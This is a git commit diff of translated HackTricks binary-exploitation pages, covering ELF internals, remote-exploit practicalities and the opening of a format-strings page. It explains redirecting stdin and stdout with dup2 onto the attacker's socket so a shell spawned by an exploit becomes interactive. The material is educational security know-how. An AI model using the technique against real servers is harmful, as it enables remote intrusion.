Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:15:30 +00:00
parent 8359fdc395
commit e57504c635
142 changed files with 8495 additions and 11434 deletions

View file

@ -1,20 +1,23 @@
# Osnovne informacije o ELF-u # ELF Osnovne Informacije
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Programski zaglavlja ## Programski Headeri
Opisuju loaderu kako da učita **ELF** u memoriju: Oni opisuju loader-u kako da učita **ELF** u memoriju:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -47,54 +50,54 @@ Segment Sections...
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
Prethodni program ima **9 zaglavlja programa**, zatim, **mapiranje segmenata** pokazuje u kojem se programskom zaglavlju (od 00 do 08) **svaki odeljak nalazi**. The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR ### PHDR - Program HeaDeR
Sadrži tabele programskih zaglavlja i same metapodatke. Contains the program header tables and metadata itself.
### INTERP ### INTERP
Pokazuje putanju loadera koji se koristi za učitavanje binarnog fajla u memoriju. Indicates the path of the loader to use to load the binary into memory.
### LOAD ### LOAD
Ova zaglavlja se koriste da bi se naznačilo **kako učitati binarni fajl u memoriju**.\ These headers are used to indicate **how to load a binary into memory.**\
Svako **LOAD** zaglavlje pokazuje region **memorije** (veličinu, dozvole i poravnanje) i pokazuje bajtove ELF **binarnog fajla koji treba kopirati tamo**. Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Na primer, drugo ima veličinu 0x1190, treba da se nalazi na 0x1fc48 sa dozvolama za čitanje i pisanje i biće popunjeno sa 0x528 od offseta 0xfc48 (ne popunjava se ceo rezervisani prostor). Ova memorija će sadržati odeljke `.init_array .fini_array .dynamic .got .data .bss`. For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC ### DYNAMIC
Ovo zaglavlje pomaže da se programi povežu sa njihovim zavisnostima biblioteka i primene relokacije. Proverite odeljak **`.dynamic`**. This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE ### NOTE
Čuva informacije o proizvođaču vezane za binarni fajl. This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME ### GNU\_EH\_FRAME
Definiše lokaciju tabela za odmotavanje steka, koje koriste debageri i funkcije za rukovanje izuzecima u C++. Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK ### GNU\_STACK
Sadrži konfiguraciju odbrane od izvršavanja steka. Ako je omogućeno, binarni fajl neće moći da izvršava kod sa steka. Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO ### GNU\_RELRO
Pokazuje konfiguraciju RELRO (Relocation Read-Only) binarnog fajla. Ova zaštita će označiti određene odeljke memorije kao samo za čitanje (kao što su `GOT` ili `init` i `fini` tabele) nakon što se program učita i pre nego što počne sa izvršavanjem. Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
U prethodnom primeru kopira 0x3b8 bajtova na 0x1fc48 kao samo za čitanje, utičući na odeljke `.init_array .fini_array .dynamic .got .data .bss`. In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Imajte na umu da RELRO može biti delimičan ili potpun, delimična verzija ne štiti odeljak **`.plt.got`**, koji se koristi za **leno povezivanje** i potrebno je da ovaj prostor memorije ima **dozvole za pisanje** kako bi upisao adresu biblioteka prvi put kada se njihova lokacija traži. Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS ### TLS
Definiše tabelu unosa TLS-a, koja čuva informacije o promenljivima lokalnim za nit. Defines a table of TLS entries, which stores info about thread-local variables.
## Zaglavlja Odeljaka ## Section Headers
Zaglavlja odeljaka pružaju detaljniji prikaz ELF binarnog fajla. Section headers gives a more detailed view of the ELF binary
``` ```
objdump lnstat -h objdump lnstat -h
@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
### Meta Sekcije It also indicates the location, offset, permissions but also the **type of data** it section has.
* **Tabela stringova**: Sadrži sve stringove potrebne datoteci ELF (ali ne one koje zaista koristi program). Na primer, sadrži imena sekcija poput `.text` ili `.data`. Ako je `.text` na offsetu 45 u tabeli stringova, koristiće broj **45** u polju **name**. ### Meta Sections
* Da bi se pronašla lokacija tabele stringova, ELF sadrži pokazivač na tabelu stringova.
* **Tabela simbola**: Sadrži informacije o simbolima poput imena (offset u tabeli stringova), adrese, veličine i dodatne metapodatke o simbolu.
### Glavne Sekcije * **String table**: Sadrži sve stringove potrebne ELF datoteci (ali ne i one koje program zapravo koristi). Na primer, sadrži imena sekcija kao što su `.text` ili `.data`. I ako je `.text` na offsetu 45 u tabeli stringova, koristiće broj **45** u polju **name**.
* Da bi se pronašlo gde se nalazi tabela stringova, ELF sadrži pokazivač na tabelu stringova.
* **Symbol table**: Sadrži informacije o simbolima kao što su ime (offset u tabeli stringova), adresa, veličina i više metapodataka o simbolu.
* **`.text`**: Instrukcije programa koje se izvršavaju. ### Main Sections
* **`.text`**: Instrukcija programa koja se izvršava.
* **`.data`**: Globalne promenljive sa definisanom vrednošću u programu. * **`.data`**: Globalne promenljive sa definisanom vrednošću u programu.
* **`.bss`**: Globalne promenljive ostavljene neinicijalizovane (ili inicijalizovane na nulu). Promenljive ovde automatski se inicijalizuju na nulu, čime se sprečava dodavanje beskorisnih nula u binarni fajl. * **`.bss`**: Globalne promenljive koje nisu inicijalizovane (ili su inicijalizovane na nulu). Promenljive ovde se automatski inicijalizuju na nulu, čime se sprečava dodavanje bespotrebnih nula u binarni fajl.
* **`.rodata`**: Konstantne globalne promenljive (sekcija samo za čitanje). * **`.rodata`**: Konstantne globalne promenljive (sekcija samo za čitanje).
* **`.tdata`** i **`.tbss`**: Slično kao .data i .bss kada se koriste promenljive lokalne za nit (`__thread_local` u C++ ili `__thread` u C). * **`.tdata`** i **`.tbss`**: Kao .data i .bss kada se koriste promenljive lokalne za nit (`__thread_local` u C++ ili `__thread` u C).
* **`.dynamic`**: Pogledajte ispod. * **`.dynamic`**: Vidi ispod.
## Simboli ## Symbols
Simboli su imenovane lokacije u programu koje mogu biti funkcija, globalni podaci, promenljive lokalne za nit... Symbols je imenovana lokacija u programu koja može biti funkcija, globalni objekat podataka, promenljive lokalne za nit...
``` ```
readelf -s lnstat readelf -s lnstat
@ -195,12 +200,12 @@ Num: Value Size Type Bind Vis Ndx Name
``` ```
Svaki unos simbola sadrži: Svaki unos simbola sadrži:
- **Ime** * **Ime**
- **Atributi vezivanja** (slab, lokalni ili globalni): Lokalni simbol može pristupiti samo program sam, dok su globalni simboli deljeni izvan programa. Slab objekat je na primer funkcija koja može biti zamenjena drugom. * **Atributi vezivanja** (slab, lokalni ili globalni): Lokalni simbol može biti pristupljen samo od strane samog programa, dok su globalni simboli deljeni van programa. Slabi objekat je, na primer, funkcija koja može biti zamenjena drugom.
- **Tip**: NOTYPE (nije naveden tip), OBJECT (globalna podatkovna promenljiva), FUNC (funkcija), SECTION (sekcija), FILE (izvorni kod datoteke za debager), TLS (promenljiva lokalna za nit), GNU_IFUNC (indirektna funkcija za premeštanje) * **Tip**: NOTYPE (tip nije specificiran), OBJECT (globalna podatkovna varijabla), FUNC (funkcija), SECTION (sekcija), FILE (izvorni kod za debagere), TLS (varijabla lokalna za nit), GNU\_IFUNC (indirektna funkcija za relokaciju)
- **Indeks sekcije** gde se nalazi * **Indeks sekcije** gde se nalazi
- **Vrednost** (adresa u memoriji) * **Vrednost** (adresa u memoriji)
- **Veličina** * **Veličina**
## Dinamička sekcija ## Dinamička sekcija
``` ```
@ -237,13 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
## Potrebno Direktorijum NEEDED ukazuje da program **treba da učita pomenutu biblioteku** kako bi nastavio. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za korišćenje.
Direktorijum NEEDED ukazuje da program **mora učitati pomenutu biblioteku** kako bi nastavio sa radom. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za upotrebu.
## Relokacije ## Relokacije
Loader takođe mora da relokira zavisnosti nakon što ih je učitao. Ove relokacije su naznačene u tabeli relokacija u formatima REL ili RELA, a broj relokacija je dat u dinamičkim sekcijama RELSZ ili RELASZ. Loader takođe mora da relokira zavisnosti nakon što ih učita. Ove relokacije su označene u tabeli relokacija u formatima REL ili RELA, a broj relokacija je dat u dinamičkim sekcijama RELSZ ili RELASZ.
``` ```
readelf -r lnstat readelf -r lnstat
@ -309,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@ -317,25 +319,25 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
``` ```
### Statičke relokacije ### Staticke Relokacije
Ako je program učitan na drugom mestu različitom od preferirane adrese (obično 0x400000) zbog toga što je adresa već zauzeta ili zbog **ASLR** ili nekog drugog razloga, statička relokacija **ispravlja pokazivače** koji su imali vrednosti očekujući da će se binarni fajl učitati na preferiranoj adresi. Ako je **program učitan na mestu koje se razlikuje** od preferirane adrese (obično 0x400000) zato što je adresa već zauzeta ili zbog **ASLR** ili bilo kog drugog razloga, statička relokacija **ispravlja pokazivače** koji su imali vrednosti očekujući da će binarni fajl biti učitan na preferiranoj adresi.
Na primer, bilo koja sekcija tipa `R_AARCH64_RELATIV` trebalo bi da izmeni adresu na relokacionom biasu plus vrednost addenda. Na primer, svaka sekcija tipa `R_AARCH64_RELATIV` treba da ima modifikovanu adresu na osnovu relokacionog pomaka plus vrednost dodatka.
### Dinamičke relokacije i GOT ### Dinamičke Relokacije i GOT
Relokacija takođe može da se odnosi na spoljni simbol (kao što je funkcija iz zavisnosti). Na primer, funkcija malloc iz libC. Zatim, loader prilikom učitavanja libC na adresi proverava gde je učitana funkcija malloc, zatim će upisati ovu adresu u GOT (Global Offset Table) tabelu (označenu u tabeli relokacija) gde bi trebalo da bude navedena adresa malloc-a. Relokacija takođe može referencirati spoljašnji simbol (kao što je funkcija iz zavisnosti). Kao što je funkcija malloc iz libC. Tada, učitavač prilikom učitavanja libC na adresu proverava gde je učitana malloc funkcija, i upisuje ovu adresu u GOT (Global Offset Table) tabelu (naznačenu u relokacionoj tabeli) gde treba da bude specificirana adresa malloc.
### Tabela vezivanja procedura ### Tabela Povezivanja Procedura
Odeljak PLT omogućava lenje vezivanje, što znači da će se rešavanje lokacije funkcije obaviti prvi put kada se pristupi. PLT sekcija omogućava obavljanje lenje vezivanja, što znači da će se rešavanje lokacije funkcije izvršiti prvi put kada se pristupi.
Dakle, kada program pozove malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT-u (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je tako da se sledeći put kada se pozove `malloc`, umesto koda PLT-a koristi ta adresa. Dakle, kada program poziva malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je, tako da sledeći put kada se pozove `malloc`, ta adresa se koristi umesto PLT koda.
## Inicijalizacija programa ## Inicijalizacija Programa
Nakon što je program učitan, vreme je da se pokrene. Međutim, prvi kod koji se pokreće **nije uvek funkcija `main`**. To je zato što na primer u C++ ako je **globalna promenljiva objekat klase**, ovaj objekat mora biti **inicijalizovan ** **pre** nego što se pokrene `main`, kao u: Nakon što je program učitan, vreme je da se pokrene. Međutim, prvi kod koji se izvršava **nije uvek `main`** funkcija. To je zato što, na primer, u C++ ako je **globalna promenljiva objekat klase**, ovaj objekat mora biti **inicijalizovan** **pre** nego što se main izvrši, kao u:
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
@ -356,36 +358,36 @@ printf("Main\n");
return 0; return 0;
} }
``` ```
Napomena da se ove globalne promenljive nalaze u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju se čuvaju redom kako bi se pratili. Napomena da se ove globalne promenljive nalaze u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju se čuvaju kako bi se pratili.
Iz C koda je moguće postići isti rezultat koristeći GNU ekstenzije: Iz C koda je moguće dobiti isti rezultat koristeći GNU ekstenzije:
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
Iz perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referisane u dinamičkoj sekciji kao **`INIT`** i **`FIN`** i smeštene u sekcije `init` i `fini` u ELF fajlu. Sa perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referencirane u dinamičkom delu kao **`INIT`** i **`FIN`**. i smeštene su u `init` i `fini` sekcije ELF-a.
Druga opcija, kao što je pomenuto, je referisanje listi **`__CTOR_LIST__`** i **`__DTOR_LIST__** u unosima **`INIT_ARRAY`** i **`FINI_ARRAY`** u dinamičkoj sekciji, a dužina ovih lista je naznačena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaki unos je pokazivač na funkciju koja će biti pozvana bez argumenata. Druga opcija, kao što je pomenuto, je da se referenciraju liste **`__CTOR_LIST__`** i **`__DTOR_LIST__`** u **`INIT_ARRAY`** i **`FINI_ARRAY`** stavkama u dinamičkom delu, a dužina ovih stavki je označena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaka stavka je pokazivač na funkciju koja će biti pozvana bez argumenata.
Takođe, moguće je imati i **`PREINIT_ARRAY`** sa **pokazivačima** koji će biti izvršeni **pre** pokazivača iz **`INIT_ARRAY`**. Štaviše, takođe je moguće imati **`PREINIT_ARRAY`** sa **pokazivačima** koji će biti izvršeni **pre** **`INIT_ARRAY`** pokazivača.
### Redosled inicijalizacije ### Redosled inicijalizacije
1. Program je učitan u memoriju, statičke globalne promenljive su inicijalizovane u **`.data`** sekciji, a neinicijalizovane su postavljene na nulu u **`.bss`** sekciji. 1. Program se učitava u memoriju, statičke globalne promenljive se inicijalizuju u **`.data`** i neinicijalizovane se postavljaju na nulu u **`.bss`**.
2. Sve **zavisnosti** programa ili biblioteka su **inicijalizovane** i izvršeno je **dinamičko povezivanje**. 2. Sve **zavisnosti** za program ili biblioteke se **inicijalizuju** i **dinamičko povezivanje** se izvršava.
3. Izvršene su funkcije **`PREINIT_ARRAY`**. 3. **`PREINIT_ARRAY`** funkcije se izvršavaju.
4. Izvršene su funkcije **`INIT_ARRAY`**. 4. **`INIT_ARRAY`** funkcije se izvršavaju.
5. Ako postoji unos **`INIT`**, on se poziva. 5. Ako postoji **`INIT`** stavka, ona se poziva.
6. Ako je u pitanju biblioteka, dlopen se završava ovde, ako je program, vreme je da se pozove **prava tačka ulaska** (`main` funkcija). 6. Ako je u pitanju biblioteka, dlopen se ovde završava, ako je u pitanju program, vreme je da se pozove **pravi ulazni tačka** (`main` funkcija).
## Lokalno skladištenje niti (TLS) ## Thread-Local Storage (TLS)
Definišu se korišćenjem ključne reči **`__thread_local`** u C++-u ili GNU ekstenzijom **`__thread`**. Definišu se korišćenjem ključne reči **`__thread_local`** u C++ ili GNU ekstenzije **`__thread`**.
Svaka nit će održavati jedinstvenu lokaciju za ovu promenljivu tako da samo ta nit može pristupiti svojoj promenljivoj. Svaka nit će održavati jedinstvenu lokaciju za ovu promenljivu tako da samo ta nit može pristupiti svojoj promenljivoj.
Kada se ovo koristi, sekcije **`.tdata`** i **`.tbss`** se koriste u ELF fajlu. One su poput `.data` (inicijalizovane) i `.bss` (neinicijalizovane) ali za TLS. Kada se ovo koristi, sekcije **`.tdata`** i **`.tbss`** se koriste u ELF-u. Koje su kao `.data` (inicijalizovane) i `.bss` (neinicijalizovane) ali za TLS.
Svaka promenljiva će imati unos u zaglavlju TLS-a koji specificira veličinu i TLS offset, što je offset koji će koristiti u oblasti podataka lokalnih niti. Svaka promenljiva će imati stavku u TLS zaglavlju koja specificira veličinu i TLS offset, što je offset koji će koristiti u lokalnom području podataka niti.
`__TLS_MODULE_BASE` je simbol koji se koristi za referisanje bazne adrese lokalnog skladištenja niti i pokazuje na oblast u memoriji koja sadrži sve podatke lokalnih niti modula. `__TLS_MODULE_BASE` je simbol koji se koristi za referenciranje osnovne adrese skladišta lokalnih niti i ukazuje na područje u memoriji koje sadrži sve podatke lokalne za niti modula.

View file

@ -1,22 +1,25 @@
# Česti problemi eksploatacije # Uobičajeni problemi sa eksploatacijom
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## FD-ovi u udaljenoj eksploataciji ## FDs u daljinskoj eksploataciji
Kada se šalje eksploatacija na udaljeni server koji poziva **`system('/bin/sh')`** na primer, to će biti izvršeno u serverskom procesu, a `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Zato napadač neće moći da interaguje sa shell-om. Kada se šalje eksploatacija na daljinski server koji poziva **`system('/bin/sh')`**, to će se izvršiti u procesu servera, a `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i će ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Tako da napadač neće moći da interaguje sa shell-om.
Način da se ovo reši je pretpostaviti da je kada je server pokrenut, kreirao **FD broj `3`** (za osluškivanje) i da će zatim, vaša veza biti na **FD broju `4`**. Stoga je moguće koristiti sistemski poziv **`dup2`** da duplicira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj koji pripada vezi napadača) kako bi bilo moguće kontaktirati shell nakon što se izvrši. Jedan od načina da se to reši je da se pretpostavi da je kada je server pokrenut, kreiran **FD broj `3`** (za slušanje) i da će vaša veza biti u **FD broju `4`**. Stoga, moguće je koristiti sistemski poziv **`dup2`** da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od napadačeve veze) kako bi se omogućila komunikacija sa shell-om kada se izvrši.
[**Primer eksploatacije odavde**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): [**Primer eksploatacije odavde**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
@ -37,20 +40,23 @@ p.interactive()
``` ```
## Socat & pty ## Socat & pty
Imajte na umu da socat već prenosi **`stdin`** i **`stdout`** na socket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) **obrišće prethodni karakter** vašeg eksploata. Napomena da socat već prenosi **`stdin`** i **`stdout`** na soket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) to će **izbrisati prethodni karakter** vašeg eksploita.
Da biste zaobišli ovo, **bežični karakter `\x16` mora biti dodat na bilo koji `\x7f` koji se šalje.** Da biste to zaobišli, **escape karakter `\x16` mora biti prethodjen bilo kojim `\x7f` koji se šalje.**
**Ovde možete** [**pronaći primer ovog ponašanja**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **Ovde možete** [**pronaći primer ovog ponašanja**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# Formatiranje stringova # Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
